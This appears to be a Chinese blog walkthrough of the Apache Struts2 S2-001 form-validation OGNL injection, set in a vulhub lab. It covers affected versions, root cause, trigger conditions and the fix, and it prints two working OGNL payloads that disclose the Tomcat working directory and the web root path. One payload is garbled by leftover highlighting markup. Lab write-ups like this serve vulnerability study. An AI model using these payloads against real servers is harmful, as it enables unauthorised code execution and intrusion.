s2 安恒 漏洞验证工具_【Struts2命令代码执行漏洞分析系列】 S2001

b6d5a8b11c864cb1339e2783292f6f78.gif

漏洞信息:

漏洞信息页面: 

https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞成因官方概述:

Remote code exploit on form validation error

漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

6964ad00d6393c3f9b7f4e2dc1c88e1d.png

环境搭建:
用vulhub靶场进行搭建,非常方便

dad153efa6329951c74bc83f00e5e037.png 

我已经搭建完成,这个图片是已经搭建完成的,使用 docker ps 命令 查看已经搭建好的靶场容器。

原理:

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}


进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}


对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 

利用过程:
进入靶场

5ff4eda8383b2119ef59f5eddb1e302a.png 
这个漏洞的问题在于可以直接输入和直接回显
将POC粘到一个输入框,点击Submit
此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
获取tomcat执行路径:

class="token operator">%class="token punctuation">{class="token string">"tomcatBinDir{"class="token operator"> class="token annotation punctuation">@javaclass="token punctuation">.langclass="token punctuation">.Systemclass="token annotation punctuation">@getPropertyclass="token punctuation">(class="token string">"user.dir"class="token punctuation">)class="token operator"> class="token string">"}"class="token punctuation">}

8c36fed0e56cce9c5fd2e904b440ae1a.png 

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

fa9f9c657c09f64c3bf0d2dbb5458fa4.png 总结:

最后总结一下 S2-001 的一个触发条件:开启 altSyntax 功能;使用 s 标签处理表单;action 返回错误;OGNL 递归处理


值得一提的是 Struts2 官方给出了一个解决办法中提到了:从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 1}。


也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。

960e472c2847befd3d998f9668f54fa6.png

推荐文章++++

009e89a3766364ae011ea6c2ef70f6c9.png

*Struts2-Scan 一款全漏洞扫描利用工具

*Python编写的开源Struts2全版本漏洞检测工具

*Struts2 再爆高危漏洞S2-048 来了

981f79812a1df641bb09f79d82f68efd.png

6e9f040475c404e3142e4933e0cbb554.gif


版权声明:本文为weixin_42370320原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。